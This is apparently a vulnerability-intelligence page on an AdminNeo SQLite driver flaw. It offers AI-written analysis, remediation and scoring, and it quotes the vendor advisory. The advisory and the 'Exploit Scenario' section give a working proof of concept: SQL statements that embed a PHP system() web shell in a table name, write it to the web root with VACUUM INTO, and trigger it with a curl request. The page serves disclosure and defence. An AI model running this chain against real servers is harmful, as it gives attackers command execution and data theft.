AdminNeo CVE-2026-96630
HIGHAttack ChainAIDerived
Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain
-
AccessAuthenticate to AdminNeo SQLite driver
-
DeliveryCreate table with PHP payload name
-
ExploitVACUUM INTO writes file to web root
-
ExecutionRequest planted .php shell
-
ImpactExecute OS commands as web user
Vulnerability Assessment
| Exploitation Conditions | Requires an authenticated AdminNeo session using the SQLite driver with the ability to execute arbitrary SQL (the SQL command console), against AdminNeo versions before 5.5.1. The target SQLite build must support VACUUM INTO (SQLite 3.27.0+). Successful web-shell deployment additionally requires that the PHP/web-server process has write permission to a directory that is both web-served and configured to execute PHP, and that the attacker knows (or can reach) that path. Limiting factors: valid database credentials are mandatory (PR:H), the write target must be a writable+PHP-executing web directory (non-default/hardened deployments may block this), and upgrading to 5.5.1 is the vendor's fix. |
| Impact | This is a genuine high-priority issue for anyone exposing AdminNeo's SQLite driver, but it is not an unauthenticated internet-wide emergency. The CVSS 3.1 vector (AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H, base 7.2) and the root-cause commit agree on the mechanism: the SQLite query blocklist in sql.inc.php stopped only ATTACH, so VACUUM INTO (SQLite ≥ 3.27.0) could write the database file - including attacker-chosen bytes placed in a table name - to any path, yielding a PHP web shell and command execution (root in the reporter's PoC). PR:H/AC:L is consistent with the described trigger: a logged-in SQLite user runs two straightforward SQL statements, no race or timing condition. The vuln.today decision label is 'this_week' (not act_now/emergency), which fits the signal mix. No EPSS score is provided, so widespread-exploitation probability cannot be quantified from this data. The CVE is not in CISA KEV and there is no indication of active exploitation; exploitation status is therefore 'no public exploit identified' with the caveat that the advisory itself publishes complete, working reproduction steps (see exploit note). The practical risk is gated by the PR:H authentication requirement and by whether the PHP process can write to a web-served, PHP-executing directory - both real limiters that keep this below the tier of a remote pre-auth RCE despite the High C/I/A impacts. |
| Exploit ScenarioDerived | An attacker who already has valid credentials to AdminNeo's SQLite interface opens the SQL command console, creates a table whose name embeds PHP (e.g. CREATE TABLE "<?php system($_GET['c']); ?>" (i int);), then runs VACUUM INTO '/var/www/html/shell.php' to write the raw database bytes - including that PHP - into the web root. They then request the planted file (curl http://TARGET/shell.php?c=id) to run OS commands as the web server user. The GHSA advisory publishes these exact steps as a working proof of concept, though no packaged exploit tool is referenced. |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv1 – Oct 30, 2026
Authenticated users of AdminNeo's SQLite driver can escape the intended query blocklist and turn the SQL command console into an arbitrary file write, dropping a PHP web shell into a web-served directory and executing commands as the PHP process user. The flaw affects the Composer package adminneo-org/adminneo before version 5.5.1: the code only filters statements beginning with ATTACH, so a crafted VACUUM INTO statement (SQLite 3.27.0 or later) writes the whole database to any path with any extension, embedding a table name containing PHP code as raw bytes. Exploitation requires valid database credentials to reach the SQL console (CVSS PR:H), after which the only further conditions are a writable, PHP-executing web directory and a SQLite build that supports VACUUM INTO; no public exploit code was identified at time of analysis, and the issue is not in CISA KEV. The vendor addressed it in 5.5.1.
RemediationAI
Upgrade AdminNeo to version 5.5.1 or later; the Composer constraint is adminneo-org/adminneo >= 5.5.1, and the vendor patch is commit cf45efb3ac34e5e7b699cdc996f6eec2814ccda1, released as https://github.com/adminneo-org/adminneo/releases/tag/v5.5.1, which extends the SQLite filter to reject VACUUM ... INTO in addition to ATTACH. Where upgrading cannot be done immediately, reduce exposure by not offering the SQLite driver or the SQL command console to untrusted or non-administrative users, since the blocklist in admin/sql.inc.php is the only control the affected versions place on file-writing SQL; the trade-off is loss of legitimate SQLite query capability for those accounts. Deployments that must keep the console can also constrain the blast radius by running PHP with open_basedir and disabled file-write permissions for the web root (side effect: legitimate imports, exports and file-based operations in AdminNeo will fail), and by configuring the web server to refuse PHP execution in any directory that the PHP process can write to (side effect: none for application code, but it breaks any intentional writable PHP endpoints). Valid database credentials are a prerequisite for the attack, so tightening who holds them limits reachability. Vendor and advisory details are at https://github.com/adminneo-org/adminneo/security/advisories/GHSA-q5mp-gfjf-cf2j.
Affected Packages
Source: OSV (Open Source Vulnerabilities)
Affects your stack
Affects 1 package in composer
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
AdminNeo is a PHP-based database administration front end derived from Adminer, commonly deployed as a single-file web application; the affected Composer package is adminneo-org/adminneo. Its SQL execution path in admin/sql.inc.php performed a dialect-specific regex check intended to stop SQLite from creating arbitrary files: only a query whose first token was ATTACH was rejected, with everything else passed straight to the SQLite engine. That is a blocklist of one keyword rather than a capability restriction, so any other SQLite statement with file-writing side effects went through unchecked. VACUUM INTO, added in SQLite 3.27.0, serializes the entire database into a brand-new file at an attacker-chosen absolute path and with an attacker-chosen extension, which is functionally equivalent to ATTACH for file-write purposes. Because SQLite stores identifiers as raw bytes, a table named with a PHP opening tag and a system() call is persisted verbatim inside the resulting database file; when that file lands in a directory the web server serves and hands to the PHP interpreter, the embedded code executes. The upstream fix widens the pattern to match both ATTACH and VACUUM ... INTO (case-insensitive, dotall) and localizes the rejection message, which is a blacklist-strengthening patch rather than a redesign of the SQL console's privileges. The root-cause class here is inconsistent input filtering / blocklist bypass leading to arbitrary file write and ultimately remote code execution; no CWE identifier was supplied in the source data. The published CPE is pkg:composer/adminneo-org_adminneo.
Know when Sqlite gets its next vulnerability
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
Network-reachable web console, two trivial SQL statements (AC:L); requires authenticated SQL-execution privilege (PR:H); arbitrary file write to web root yields full RCE, so C/I/A:H, scope unchanged.
Primary rating from GitHub Advisory.
CVSS VectorGitHub Advisory
DescriptionGitHub Advisory
Summary
Adminer blocks ATTACH queries for SQLite to prevent arbitrary file creation. However, VACUUM INTO is not blocked and achieves the same result: writing a database file containing attacker-controlled PHP code to any path with any extension. An authenticated SQLite user can write a web shell to the web root and execute commands.
Originally reported in Adminer: GHSA-q4f2-39gr-45jh
Root Cause
sql.inc.php, line 146:
if (DIALECT == "sqlite" && preg_match("~^$space*+ATTACH\\b~i", $q, $match)) {
// blocked
}Only ATTACH is in the blocklist. VACUUM INTO (available since SQLite 3.27.0) writes the entire database to a new file at an arbitrary path with an arbitrary extension. It is not checked.
Steps To Reproduce
1. Login to SQLite
- Open AdminNeo and select driver: SQLite
- Login and create a new database (e.g.,
stage.db)
2. Inject PHP code and write the shell
Navigate to SQL command and execute:
CREATE TABLE "<?php system($_GET['c']); ?>" (i int);
VACUUM INTO '/var/www/html/shell.php';The SQLite file is written to /var/www/html/shell.php. The table name containing <?php appears as raw bytes in the file. PHP's parser finds and executes it.
3. Execute commands
curl "http://TARGET/shell.php?c=id"
# uid=0(root) gid=0(root) groups=0(root)Collaborator Request
This vulnerability was discovered jointly with Yashar Shahinzadeh (GitHub: @voorivex). Could you please add him as a collaborator on this advisory and credit him as a co-discoverer? Thank you!
Technical POC Analysis
Bug class: incomplete denylist (analyst classification: CWE-184 Incomplete List of Disallowed Inputs), chained into unrestricted write of an executable file (CWE-434).
Full technical POC analysis - root cause, step-by-step exploitation and patch breakdown - is part of the Pro and Business plans.
Executive ViewAI
CVE-2026-96630 in AdminNeo's SQLite driver allows users with legitimate database credentials to escalate their access to arbitrary file write, enabling deployment of a PHP web shell and remote command execution. This poses a high risk of data breach and system compromise, particularly for organizations using AdminNeo in production environments with web-accessible writable directories.
Apply vendor patch.
Threat Intelligence Overview
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
Remote Code Execution represents the critical moment when an attacker successfully runs arbitrary code on a target system without physical access.
Affected Products (CPE)GitHub Advisory
Multiple unspecified vulnerabilities in SQLite before 3.8.10.2, as used in Apple iOS before 9, have unknown impact and a
SQLite3 from 3.6.0 to and including 3.27.2 is vulnerable to heap out-of-bound read in the rtreenode() function when hand
SQLite 1.0.12 through 3.39.x before 3.39.2 sometimes allows an array-bounds overflow if billions of bytes are used in a
The getNodeSize function in ext/rtree/rtree.c in SQLite through 3.19.3, as used in GDAL and other products, mishandles u
Memory corruption in SQLite versions before 3.50.2 allows network-based attackers with low privileges to manipulate aggr
An exploitable use after free vulnerability exists in the window function functionality of Sqlite3 3.26.0. Rated high se
Arbitrary DLL loading in SQLite's sqldiff.exe utility on Windows allows attackers to achieve code execution by abusing t
Memory corruption in SQLite versions before 3.53.2 enables attackers to crash processes, exhaust memory, or potentially
SQLite 3.32.2 has a use-after-free in resetAccumulator in select.c because the parse tree rewrite for window functions i
SQLite through 3.31.1 allows attackers to cause a denial of service (segmentation fault) via a malformed window-function
A segmentation fault can occur in the sqlite3.exe command-line component of SQLite 3.36.0 via the idxGetTableInfo functi
OAuth and SCIM identity confusion in Open WebUI 0.6.41-0.10.x (SQLite-backed deployments only) allows unauthenticated re
GHSA-q5mp-gfjf-cf2j
NVD
CVE.org
Exploit-DB